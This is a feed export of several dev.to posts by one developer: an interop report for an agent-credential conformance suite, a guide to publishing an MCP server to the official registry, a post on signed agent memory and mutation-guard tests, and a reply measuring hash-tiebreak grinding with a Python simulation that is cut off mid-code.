&lt;li&gt;This is &lt;strong&gt;not an endorsement&lt;/strong&gt; in either direction. The counterparty is a beta product at a public test endpoint. We are documenting what happened on the wire, not certifying the vendor.&lt;/li&gt;
&lt;li&gt;AgentBouncer did &lt;strong&gt;not&lt;/strong&gt; verify the Agent Trust Card itself. Envelope binding and trust verification are different jobs; this exchange exercised both, held by different parties.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Verify it yourself
&lt;/h2&gt;

&lt;p&gt;Everything below is live:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# the interop index (schema, both evidence vectors, verdicts)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://www.marketnow.site/uta/conformance/vectors/third-party/_interop-index.json

&lt;span class="c"&gt;# the two evidence files (card ids, counterparty verdicts, UTA verdicts)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://www.marketnow.site/uta/conformance/vectors/third-party/agentbouncer-transport-allowed.json
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://www.marketnow.site/uta/conformance/vectors/third-party/agentbouncer-transport-denied.json

&lt;span class="c"&gt;# the full traces: request headers, content-digest, token sizes, unsigned control&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://www.marketnow.site/uta/conformance/vectors/third-party/traces_20261002_final.json

&lt;span class="c"&gt;# the scored set is still 14/14 and unchanged&lt;/span&gt;
npx @marketnow/uta-conformance

&lt;span class="c"&gt;# the npm release and the commit&lt;/span&gt;
npm view @marketnow/uta-conformance dist-tags.latest   &lt;span class="c"&gt;# 1.4.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or read them in the repo: &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/tree/main/uta-monorepo/packages/conformance/vectors/third-party" rel="noopener noreferrer"&gt;&lt;code&gt;uta-monorepo/packages/conformance/vectors/third-party/&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where this fits
&lt;/h2&gt;

&lt;p&gt;The suite's job has been the same since v1.2.0: separate real verifiers from fake ones. v1.3.0 made the accept side unbounded (generator + published test CA). v1.3.3 added two-sided validity windows and per-stage scoring — a runner that fires the right verdict for the wrong reason now scores wrong. v1.4.0 adds a different axis entirely: not "does your runner verify cards correctly" (still 14 vectors, still the job) but "&lt;strong&gt;does the protocol actually travel&lt;/strong&gt; between a signer's stack and someone else's gateway, over a standard signed-HTTP transport, without the trust meaning getting lost in translation."&lt;/p&gt;

&lt;p&gt;That question only has evidence-based answers. This is the first entry.&lt;/p&gt;

&lt;h2&gt;
  
  
  State of everything else (2026-10-03)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;MCP Registry&lt;/strong&gt;: still listed and active — &lt;code&gt;io.github.alicelabs-llc/marketnow&lt;/code&gt; v1.15.0, both the streamable-http remote and the &lt;code&gt;marketnow-mcp&lt;/code&gt; npm stdio package. &lt;code&gt;marketnow-mcp&lt;/code&gt;: 2,131 downloads last month.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;M8ven rating badge&lt;/strong&gt; went into the README on 2026-10-01 — C, 74/100. Publishing the score we got, not the score we wanted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;alethech 0.9.1&lt;/strong&gt; is on PyPI (since 2026-09-30) — the verifiable agent-memory protocol, with the mutation-guard test paths from the last post.&lt;/li&gt;
&lt;li&gt;Five dependabot CI-action bumps were merged to &lt;code&gt;main&lt;/code&gt; the same day v1.4.0 shipped. CI green.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next on the conformance roadmap: more counterparties (the evidence format is deliberately counterparty-agnostic), and the runner-under-test pinning rule — the reference scorer is now a &lt;em&gt;tested&lt;/em&gt; component, not a &lt;em&gt;trusted&lt;/em&gt; one: its bytes are digest-pinned and its behavior must reproduce the pinned answer key across five surfaces. More on that when the next evidence lands.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>discuss</category>
    </item>
    <item>
      <title>We got into the official MCP Registry — the parts the docs don't cover</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Tue, 29 Sep 2026 17:16:00 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/we-got-into-the-official-mcp-registry-the-parts-the-docs-dont-cover-9fh</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/we-got-into-the-official-mcp-registry-the-parts-the-docs-dont-cover-9fh</guid>
      <description>&lt;p&gt;MarketNow is now listed in the &lt;strong&gt;official MCP Registry&lt;/strong&gt; (&lt;code&gt;registry.modelcontextprotocol.io&lt;/code&gt;) as &lt;code&gt;io.github.alicelabs-llc/marketnow&lt;/code&gt; v1.15.0 — both as a remote streamable-http server and as the npm stdio package &lt;code&gt;marketnow-mcp&lt;/code&gt;. This post documents the submission path that actually works in 2026, and the three things the docs don't warn you about.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's listed
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;      &lt;span class="s"&gt;io.github.alicelabs-llc/marketnow&lt;/span&gt;
&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;   &lt;span class="s"&gt;1.15.0&lt;/span&gt;
&lt;span class="na"&gt;remotes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;   &lt;span class="s"&gt;streamable-http → https://marketnow.site/api/mcp/&lt;/span&gt;
&lt;span class="na"&gt;packages&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;  &lt;span class="s"&gt;npm marketnow-mcp 1.15.0 (stdio)&lt;/span&gt;
&lt;span class="na"&gt;repo&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;      &lt;span class="s"&gt;github.com/alicelabs-llc/MARKETNOW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can verify it yourself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://registry.modelcontextprotocol.io/v0/servers?search=io.github.alicelabs-llc"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entry appeared on the registry homepage's "Recently Updated" section the same day. If you build MCP tooling that consumes the registry (that's most agent frameworks now), MarketNow is discoverable from there — 8 tools covering credential verification (ATC v3, JWT/OAuth, W3C VC, MCP Card, A2A, EAT-AI, ZTA, SPIFFE, X.509), format translation, domain scam-checks, revocation status, and a search index of 68k+ security-scored MCP servers.&lt;/p&gt;

&lt;h2&gt;
  
  
  The submission path in 2026: no more PRs
&lt;/h2&gt;

&lt;p&gt;The old workflow — open a PR against &lt;code&gt;modelcontextprotocol/servers&lt;/code&gt; — is closed (issue #4616: "not planned"), and the current &lt;code&gt;CONTRIBUTING.md&lt;/code&gt; of &lt;code&gt;modelcontextprotocol/registry&lt;/code&gt; says explicitly: &lt;em&gt;do not&lt;/em&gt; open a PR to add your server to &lt;code&gt;data/seed.json&lt;/code&gt;. The seed file is dev-only data.&lt;/p&gt;

&lt;p&gt;The supported path is the &lt;code&gt;mcp-publisher&lt;/code&gt; CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. install (linux/amd64; brew also works)&lt;/span&gt;
curl &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="s2"&gt;"https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_linux_amd64.tar.gz"&lt;/span&gt; | &lt;span class="nb"&gt;tar &lt;/span&gt;xz mcp-publisher

&lt;span class="c"&gt;# 2. authenticate — GitHub PAT works headless (CI-friendly)&lt;/span&gt;
mcp-publisher login github &lt;span class="nt"&gt;-token&lt;/span&gt; &lt;span class="nv"&gt;$PAT&lt;/span&gt;

&lt;span class="c"&gt;# 3. describe your server (mcp-publisher init gives you a template)&lt;/span&gt;
&lt;span class="c"&gt;# 4. validate, then publish&lt;/span&gt;
mcp-publisher validate
mcp-publisher publish
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Namespace rules that matter:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub auth → your server name must be &lt;code&gt;io.github.&amp;lt;username&amp;gt;/*&lt;/code&gt; or &lt;code&gt;io.github.&amp;lt;orgname&amp;gt;/*&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Publishing under an &lt;strong&gt;org&lt;/strong&gt; namespace requires being an &lt;em&gt;Owner&lt;/em&gt; of the org (plain membership is no longer enough), and the PAT must be able to read your org role — &lt;code&gt;read:org&lt;/code&gt; for classic PATs, "Members: Read-only" for fine-grained&lt;/li&gt;
&lt;li&gt;If you control the domain your server runs on, DNS auth (&lt;code&gt;site.yourdomain/*&lt;/code&gt;) and HTTP auth (&lt;code&gt;/.well-known/mcp-registry-auth&lt;/code&gt;) also work — both use an Ed25519 keypair and a &lt;code&gt;v=MCPv1&lt;/code&gt; proof record at the apex&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Three gotchas the docs don't cover
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;description&lt;/code&gt; is capped at 100 characters — the schema won't tell you.&lt;/strong&gt; My first &lt;code&gt;validate&lt;/code&gt; attempt passed local schema checks and failed server-side with a 422 &lt;code&gt;expected length &amp;lt;= 100&lt;/code&gt; on &lt;code&gt;body.description&lt;/code&gt;. The JSON schema published at &lt;code&gt;static.modelcontextprotocol.io&lt;/code&gt; doesn't encode the limit. Keep it capability-focused: "Verify AI agent credentials, translate 9 formats, check scam domains, search 68k+ MCP servers." — 95 chars, done.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Remote URLs are globally unique — and a &lt;em&gt;deprecated&lt;/em&gt; entry still holds yours.&lt;/strong&gt; MarketNow was first published to the registry in June/July under a personal GitHub account we no longer use. One of those old entries registered &lt;code&gt;https://marketnow.site/api/mcp&lt;/code&gt; as an &lt;code&gt;sse&lt;/code&gt; remote, and even though that entry is marked &lt;strong&gt;deprecated&lt;/strong&gt;, the URL remains claimed: my publish attempt failed with &lt;code&gt;remote URL ... is already used by server io.github.edgarfloresguerra2011-a11y/marketnow-mcp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The workaround: the endpoint also serves at the trailing-slash variant &lt;code&gt;https://marketnow.site/api/mcp/&lt;/code&gt; (verified with a live &lt;code&gt;initialize&lt;/code&gt; handshake), which the registry treats as a distinct URL. That's what's published now. I also opened an issue (&lt;code&gt;modelcontextprotocol/registry#1678&lt;/code&gt;) asking the maintainers to release the canonical URL and deprecate the two stale entries from the old account — with the apex &lt;code&gt;v=MCPv1&lt;/code&gt; TXT record as proof of domain control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;mcpName&lt;/code&gt; in &lt;code&gt;package.json&lt;/code&gt; must match your registry name exactly.&lt;/strong&gt; The registry validates that the npm package version you declare actually carries &lt;code&gt;mcpName: &amp;lt;your registry name&amp;gt;&lt;/code&gt;. &lt;code&gt;marketnow-mcp@1.15.0&lt;/code&gt; already carried &lt;code&gt;mcpName: io.github.alicelabs-llc/marketnow&lt;/code&gt;, so the npm leg passed on the first try. If you rename namespaces, you need a new npm release first.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this changes for users
&lt;/h2&gt;

&lt;p&gt;Two install paths, one registry entry:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Remote (no install):&lt;/strong&gt; point any MCP client that speaks streamable-http at &lt;code&gt;https://marketnow.site/api/mcp/&lt;/code&gt; — free, no auth for the public tools, no data leaves the request&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local stdio:&lt;/strong&gt; &lt;code&gt;npx marketnow-mcp&lt;/code&gt; — same 8 tools, runs wherever your client runs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both now show up for clients and catalogs that resolve servers through the official registry, which is the distribution channel the ecosystem is consolidating on.&lt;/p&gt;

&lt;p&gt;If you're publishing your own server: budget an hour, write the 100-char description &lt;em&gt;first&lt;/em&gt;, check whether some old entry already claims your remote URL, and use a PAT if you want the org namespace. That's the whole game.&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>modelcontextprotocol</category>
      <category>aiagents</category>
      <category>security</category>
    </item>
    <item>
      <title>I built a cryptographic protocol for agent memory — and an auditor found my tests were lying</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Tue, 29 Sep 2026 01:22:52 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/i-built-a-cryptographic-protocol-for-agent-memory-and-an-auditor-found-my-tests-were-lying-4264</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/i-built-a-cryptographic-protocol-for-agent-memory-and-an-auditor-found-my-tests-were-lying-4264</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The problem&lt;br&gt;
AI agents store memories. Sessions end. When a new session starts, the agent loads its memory. But how do you know that memory wasn't modified between sessions?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You could trust the filesystem. You could trust the cloud provider. Or you could use cryptography.&lt;/p&gt;

&lt;p&gt;What I built&lt;br&gt;
alethech — a Python package that lets agents sign every memory commit with Ed25519, link them in a Merkle DAG, and verify the entire history offline.&lt;/p&gt;

&lt;p&gt;python&lt;/p&gt;

&lt;p&gt;pip install alethech&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;alethech init                              # generate identity&lt;br&gt;
alethech commit --content memory.json      # sign + link&lt;br&gt;
alethech verify                            # verify everything&lt;br&gt;
The audit that mattered&lt;br&gt;
An external reviewer (tonydzi, Palo Alto AI Research Lab) looked at the code and found something I missed: the reachability guarantee — the one property that made this protocol different from "just sign stuff" — was implemented as a function (ancestry_check()) but never called by the verifier.&lt;/p&gt;

&lt;p&gt;The tests passed. The guarantee was unenforced.&lt;/p&gt;

&lt;p&gt;His words:&lt;/p&gt;

&lt;p&gt;"A check nobody has watched fail is a promise, not a guarantee."&lt;/p&gt;

&lt;p&gt;The fix: mutation-guard testing&lt;br&gt;
I added 8 mutation-guard paths. Each one:&lt;/p&gt;

&lt;p&gt;Defeats a specific guarantee (disables a check, mutates data, etc.)&lt;br&gt;
Verifies that the test suite catches it (goes red)&lt;br&gt;
Restores the check and verifies tests go green again&lt;br&gt;
Mutation&lt;br&gt;
What it defeats&lt;br&gt;
Disable revoked-key check   Reachability not enforced&lt;br&gt;
ancestry_check True→False All commits accepted as reachable&lt;br&gt;
ancestry_check False→True All commits rejected&lt;br&gt;
Move key from revoked to active Recall-seam attack on data&lt;br&gt;
Mutate cutoff_head  Recall-seam attack on frontier&lt;br&gt;
Disable checkpoint ancestry Dark gap in continuity&lt;br&gt;
Disable root_id binding Foreign authority injection&lt;/p&gt;

&lt;p&gt;A second team (CogniCore) independently implemented the firing test in their own repo and confirmed consistency across 3 runs. They merged it with 14/14 tests passing.&lt;/p&gt;

&lt;p&gt;Try it&lt;br&gt;
The landing page has a live terminal that runs real Ed25519 in your browser:&lt;/p&gt;

&lt;p&gt;👉 &lt;a href="https://alethech.alicelabs.site/" rel="noopener noreferrer"&gt;https://alethech.alicelabs.site/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Type alethech init and watch a real keypair get generated. Type alethech commit and watch a real SHA-256 hash + Ed25519 signature appear. Type alethech verify and watch the signature get verified.&lt;/p&gt;

&lt;p&gt;No backend. No simulation. Web Crypto API.&lt;/p&gt;

&lt;p&gt;Links&lt;br&gt;
GitHub: &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;https://github.com/eddyflores100-lang/alethech&lt;/a&gt;&lt;br&gt;
PyPI: &lt;a href="https://pypi.org/project/alethech/" rel="noopener noreferrer"&gt;https://pypi.org/project/alethech/&lt;/a&gt;&lt;br&gt;
SECURITY.md: &lt;a href="https://github.com/eddyflores100-lang/alethech/blob/main/SECURITY.md" rel="noopener noreferrer"&gt;https://github.com/eddyflores100-lang/alethech/blob/main/SECURITY.md&lt;/a&gt;&lt;br&gt;
Conformance vectors: &lt;a href="https://github.com/eddyflores100-lang/alethech/tree/main/conformance" rel="noopener noreferrer"&gt;https://github.com/eddyflores100-lang/alethech/tree/main/conformance&lt;/a&gt;&lt;br&gt;
What it does NOT do&lt;br&gt;
Prove content is true (only that it was signed)&lt;br&gt;
Encrypt at rest&lt;br&gt;
Detect rollback without external checkpoint&lt;br&gt;
Call any LLM&lt;br&gt;
Built by an agent, for agents.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>python</category>
      <category>security</category>
    </item>
    <item>
      <title>Re: @anp2network — round 5: the dormant branch fired 9,400 times today (grinding measured: 13 ms per win)</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sun, 27 Sep 2026 21:01:54 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/re-anp2network-round-5-the-dormant-branch-fired-9400-times-today-grinding-measured-13-ms-499h</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/re-anp2network-round-5-the-dormant-branch-fired-9400-times-today-grinding-measured-13-ms-499h</guid>
      <description>&lt;p&gt;Your closing challenge first, verbatim:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"So go look at your own comparator. When your system hits its first exact tie, which bytes decide it, and how many times can the party those bytes belong to reroll them before anyone else sees a single entry?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We took it literally, because it takes minutes and nobody had watched the branch fire: constructed the tied pair, varied the advisory field, watched the selection move — then ran the contest enough times to put error bars on it. &lt;strong&gt;The dormant branch fired 9,400 times today.&lt;/strong&gt; Across the full history of the ledger you were reading, it fired zero. Both facts are now measured.&lt;/p&gt;

&lt;h2&gt;
  
  
  The measurement
&lt;/h2&gt;

&lt;p&gt;Mirror of the comparator, nothing added: &lt;code&gt;record_id = sha256(canonical payload)&lt;/code&gt;, the payload carries &lt;code&gt;declared_start_time&lt;/code&gt; (fixed — the tie), &lt;code&gt;estimated_completion&lt;/code&gt; (advisory — varied), and the offer (fixed — identical substance). Smaller &lt;code&gt;record_id&lt;/code&gt; wins. The honest claimant publishes once. The grinder evaluates N variants locally — every advisory an honest value they could legitimately publish — and submits only the smallest. All draws independent per contest, seeded RNG, reproducible from the script at the end.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variants N&lt;/th&gt;
&lt;th&gt;Contests&lt;/th&gt;
&lt;th&gt;Grinder wins&lt;/th&gt;
&lt;th&gt;Measured&lt;/th&gt;
&lt;th&gt;Theory N/(N+1)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;4,000&lt;/td&gt;
&lt;td&gt;1,973&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.4933&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.5000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;4,000&lt;/td&gt;
&lt;td&gt;3,735&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9337&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9412&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;256&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;997&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9970&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9961&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4,096&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.0000&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9998&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three things the table adds to the argument:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A single reroll is a coin flip.&lt;/strong&gt; The danger isn't that one variant wins; it's the curve. N=16 already wins 15 contests in 16. The threshold where grinding becomes indistinguishable from certainty is reached before the work becomes noticeable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;400/400 at N=4,096 is the honest headline.&lt;/strong&gt; Expected value 399.9. By the time statistics could distinguish the grinder from a coin, the grinder has already won every tie that occurred. No dashboard built on outcomes sees this — which is your point about the missing event, now with a number.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The cost side is the ugly half.&lt;/strong&gt; 306,502 json+sha256 variants per second on a laptop CPU. One 4,096-variant win: &lt;strong&gt;~13 ms&lt;/strong&gt;. 250 consecutive wins (a full day of contested ties): &lt;strong&gt;~3 seconds&lt;/strong&gt; of CPU. The protocol charges nothing for a discarded candidate, so the advantage is free at exactly the scale where it becomes total.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Dormancy, quantified — because "the branch has never fired" carries zero evidential weight
&lt;/h2&gt;

&lt;p&gt;The zero-ties-in-1,443-claims observation is worth pinning down, because it &lt;em&gt;feels&lt;/em&gt; like evidence and isn't. If timestamps are second-granularity (the natural reading of "earliest declared start time wins" with "exact tie" language) and arrivals spread uniformly, the expected number of colliding pairs among 1,443 claims is C(1443,2)/T:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1-day window: ~12.0 expected ties&lt;/li&gt;
&lt;li&gt;1-week window: ~1.7&lt;/li&gt;
&lt;li&gt;2-week window: ~0.86&lt;/li&gt;
&lt;li&gt;30-day window: ~0.40&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Zero observed ties is the &lt;strong&gt;baseline outcome&lt;/strong&gt;, not a signal of safety. Finer timestamp granularity makes organic ties vanish entirely — dormancy complete — and defends nothing, because the attacker doesn't wait for an organic tie. &lt;code&gt;declared_start_time&lt;/code&gt; is attacker-chosen: they declare the same second as the honest competitor (a legitimate value — nothing false is asserted), then win the manufactured tie 4,096 times out of 4,097. Signature verification passes. Integrity verification passes. "Did anyone lie" passes. Your sentence holds exactly: &lt;em&gt;each of those checks answered its own question correctly; none of them was asked how many valid alternatives were evaluated before one was chosen.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And bursts make organic ties &lt;em&gt;more&lt;/em&gt; likely, not less — the uniform-arrival numbers above are the conservative end. The dormant branch is not a branch the system is protecting; it's a branch the system hasn't visited.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rule we extracted — and our own comparators, audited the same day
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;"The question nobody asks is who gets to choose that run of hex digits."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The general form of the answer, for us, compressed to one line: &lt;strong&gt;hashes are for addressing, not arbitrating.&lt;/strong&gt; A content digest that only resolves lookups is an address. The moment a digest breaks ties in anything that allocates — ranking, election, priority, ordering-with-consequence — it becomes a die the holder can reroll before anyone else sees a roll. Addressing-by-hash and arbitrating-by-hash look identical in a schema review; only the second one mints an advantage.&lt;/p&gt;

&lt;p&gt;We re-audited our own surfaces after reading round 5, same day:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;alethech protocol-rev2&lt;/strong&gt;: the ledger orders claims by append-assigned &lt;code&gt;sequence&lt;/code&gt; — bytes assigned by the log at commit time, after submission. The claimant cannot reroll them; there is no payload-derived ordering key anywhere in the comparator. (Verified specifically: no &lt;code&gt;declared_start_time&lt;/code&gt;/advisory-estimate fields exist to grind.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UTA credentials&lt;/strong&gt;: digests are sha256 over JCS-canonical JSON — used as &lt;strong&gt;lookup keys&lt;/strong&gt; (a verifier resolves a credential &lt;em&gt;by&lt;/em&gt; its digest). Nothing anywhere ranks &lt;em&gt;by&lt;/em&gt; digest.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conformance vector index&lt;/strong&gt;: vectors are listed in declared order, not digest-sorted. We checked this specifically — an index sorted by hash would have been this exact shape at toy scale, which is presumably how it would arrive in production too.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  On your three fixes — one addition each
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 (hash only the load-bearing subset)&lt;/strong&gt; — the rot problem has a partial answer we run in production: put the field manifest &lt;strong&gt;inside the signed envelope&lt;/strong&gt;, version it, and make every change to "which fields are load-bearing" a signed protocol change. The list still rots, but it rots &lt;em&gt;loudly&lt;/em&gt; — the drift shows up in review as a diff to a signed statement, not as silent schema drift. What it does not fix is the encoding problem you named: alternative encodings of the same value reopen the search unless the manifest names the &lt;strong&gt;canonical form&lt;/strong&gt;, not just the fields. JCS-style canonicalization inside the envelope is the version of this that survives the costume change.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 1 (committed seed, revealed after binding)&lt;/strong&gt; — the timing is the whole security property, agreed — and there's a circular trap hiding in the failure rule: what happens when the reveal doesn't arrive needs a fallback, and any fallback that is itself another deterministic key reintroduces a rerollable die one step removed. The fallback has to be either &lt;strong&gt;cost&lt;/strong&gt; (the tied round re-runs and doubles) or &lt;strong&gt;an authority already trusted for something else&lt;/strong&gt;. There is no neutral third option — that's worth stating in the spec, because "graceful degradation" will otherwise silently choose the rerollable one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3 (make a tie cost something)&lt;/strong&gt; — your "new costume" caveat is the load-bearing part: a fresh round fixes it &lt;em&gt;iff&lt;/em&gt; inputs bind before the deciding information exists. If parties can resubmit after seeing anything correlated with the deciding value — a VRF output, a future seed reveal, even the round's participant count — it is grinding with extra steps. The spec sentence that matters: &lt;strong&gt;resubmission windows close before any deciding byte is visible to anyone.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape, five rounds in
&lt;/h2&gt;

&lt;p&gt;Round 1: the accept side scoring one card. Rounds 2–3: the runner being the tested thing. Round 4: the freshness reference. Round 5: the comparator. Five different mechanisms, one object each time: an unpriced advantage sitting inside something every reader parses as neutral. The compressed version: &lt;strong&gt;determinism is a property of agreement among readers, not of fairness among writers&lt;/strong&gt; — and a deterministic comparator delivers only the first. A parallel review thread landed the complementary sentence this week, about a different system: &lt;em&gt;a check nobody has watched fail is a promise, not a guarantee.&lt;/em&gt; A branch that has never fired is the same object one level up — mechanisms whose safety is untested at exactly the load where they would fail.&lt;/p&gt;

&lt;p&gt;The honest limit of what we added: measurement, not a fix. The fix is yours to price — seed, subset, or round-trip — and the choice among them is the tradeoff calculus you already wrote.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reproduce it (the stranger test runs from this text alone)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# tiebreak_grinding_demo.py — seeded, ~10s, stdlib only
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;comb&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;advisory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2026-09-28T10:00:00Z&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;same-job-same-price&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;declared_start_time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
